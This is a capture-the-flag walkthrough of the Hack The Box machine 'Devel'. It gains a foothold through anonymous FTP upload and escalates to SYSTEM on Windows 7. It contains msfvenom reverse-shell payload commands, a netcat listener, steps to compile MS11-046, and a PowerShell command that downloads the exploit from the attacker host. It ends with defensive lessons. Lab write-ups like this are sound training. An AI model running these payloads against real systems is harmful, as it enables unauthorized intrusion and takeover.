Devel
Nmap Scanning
I scan for open ports, services running on those ports and their versions, and also perform OS detection.
$ nmap -A -T4 -p- 10.10.10.5 -Pn
We can see that we have a website running on port 80. Let me open it up.
We have a default webpage for IIS7. Viewing the page source reveals nothing interesting either. But I can see the image in the webpage is named weIcome.png.
I am going to use dirbuster to look for hidden directories on this website. Since it,s a Windows web server, under file extensions I will add the appropriate ones (asm,asx,asp,aspx), and also additional ones that could appear i.e. txt,zip,bak,rar. Now let's run it and see what happens.
However, dirbuster yields nothing interesting. I stopped it after a few minutes
Since anonymous login is allowed on ftp, let's try it out.
From the screenshot above, we see that we have some files and a directory. Notice that we have welcome.png in here as well. I can probably download or upload files to the server. As a proof of concept, I will download a dog picture from the internet and attempt to upload it.
Turns out I can do that :)
So when I go to http://10.10.10.5/dog.jpeg I can see the picture I uploaded to the server (though it's a bit blurry).
So this hints to me that we can upload malware to the ftp server, and execute it through the website. We will create one using msfvenom.
Exploitation with Metasploit
Let's google msfvenom asp cheatsheet. The link below has some interesting findings:
We will create a reverse tcp payload to give us a meterpreter shell to the target machine. Make sure to replace LHOST with your htb IP address.
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4444 -f aspx > shell.aspx
We will now open up msfconsole and use exploit/multi/handler to set up our listener.
Make sure to set the payload to windows/meterpreter/reverse_tcp, and set your LHOST as well. Once done, we run it. It will be listening for a connection.
Let's connect back to ftp and upload the payload we generated using msfvenom.
So now let's navigate to http://10.10.10.5/shell.aspx in order to make the server execute the file we just uploaded. Once we do that, we receive a connection back on our listener.
When we run getuid, we see that we are not Authority\System. We therefore can't run hashdump or other commands requiring admin privileges. Let me see if we can escalate our privileges using getsystem (it can sometimes crash a machine).
Nope. It didn't work.
Privilege Escalation
We will use a post-exploitation module in metasploit to try to escalate our privileges. First, let's background our session then search suggester.
Find below the description for the module we have selected.
This particular module only requires a session (which we already have) and performs post-exploitation enumeration for us.
We will use the one highlighted on the above screenshot. Make sure to set your session, lhost, and payload. Also ensure your listener is running on another tab (very important). I edited my lport to 4445 since my first listener was 4444.
Disclaimer: I edited my lport to 4445 since my first listener was 4444.
Now let's run it.
Success!!! We are now Authority\System. We can go ahead and retrieve both the user and root flags.
Exploitation without Metasploit
So we know that we can upload malware to the ftp server and execute it through the website. We will use msfvenom to create our payload. Since it's a Microsoft IIS server, we will search for how to generate an aspx payload on the link below.
We will use a general reverse shell since meterpreter is not allowed in the OSCP.
$ msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.14.3 LPORT=1234 -o reverse-shell.aspx
We now have to upload the payload to the ftp server and confirm it's uploaded.
Once we do that, we set up a listener on our attack machine using netcat.
$ nc -nlvp 1234
Now let's execute the payload by navigating to http://10.10.10.5/reverse-shell.aspx and check if our listener has received a connection back.
Perfect! We now have a shell and it's running as iis apppool\web.
Let's change the directory to the Users directory where the flags are stored.
We can't access the Administrator and babis directories since we don't have permission.
Let's learn more about our OS to see if we can escalate our privileges. Let's run the command systeminfo.
A hotfix is code (sometimes called a patch) that fixes a bug in a product.
We’re on a Microsoft Windows 7 build 7600 system. It’s fairly old and does not seem to have been updated, so it’s probably vulnerable to a bunch of exploits. Let's google some.
We find an interesting exploit (MS11-046) with documentation on how to compile the source code. We will go with that one.
Get the EDB-ID from the web page, so that we can use it to find the exploit in searchsploit. The EDB-ID is 40564. We find it at the top left corner of the web page.
Let's update searchsploit to ensure we have all the latest vulnerabilities.
$ searchsploit -u
Use the -m flag to look for the exploit 40564 and copy it to the current directory.
$ searchsploit -m 40564
Now, we need to compile the exploit. The compilation instructions are in the exploitdb webpage.
If you don’t have mingw-w64 installed, install it.
$ sudo apt install mingw-w64
Compile it using the listed command below.
$ i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2_32
Alright, we have a compiled exploit. Now what is left is to transfer the exploit to the target (Devel) machine.
Start up a server on the attack (Kali) machine.
$ python -m SimpleHTTPServer 9005
Netcat doesn’t seem to be installed on Windows, but powershell is. So, we’ll use it to transfer the file from our server to a directory we can write to.
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.3:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"
Make sure to replace the IP with your htb IP and port number with the one you used on your SimpleHTTPServer.
The file is now in the Downloads directory. Let's execute it and check if the exploit worked and escalated our privileges.
We have system! Now let's go retrieve both the user and root flags.
Lessons Learnt
There were essentially two vulnerabilities that allowed us to gain system level access to the machine.
The first vulnerability was insecure configuration of the FTP server that allowed us to gain an initial foothold. Our initial way in was through the anonymous login. Then we found out that the FTP server shared the root directory of the web server. Therefore, when we uploaded a reverse shell in the FTP server, we were able to run it using the browser. This gave us a low privileged shell on the machine.
The user should have done two things to avoid this vulnerability:
Disabled anonymous access to the FTP server.
If anonymous access was necessary, the user should have configured the FTP server to only allow downloads. This way the attacker would not have been able to upload files.
The second vulnerability was a Windows kernel vulnerability that allowed us to elevate privileges. The user should have updated and patched his system when the vulnerability was publicly disclosed and a security update was made available.
Last updated
Was this helpful?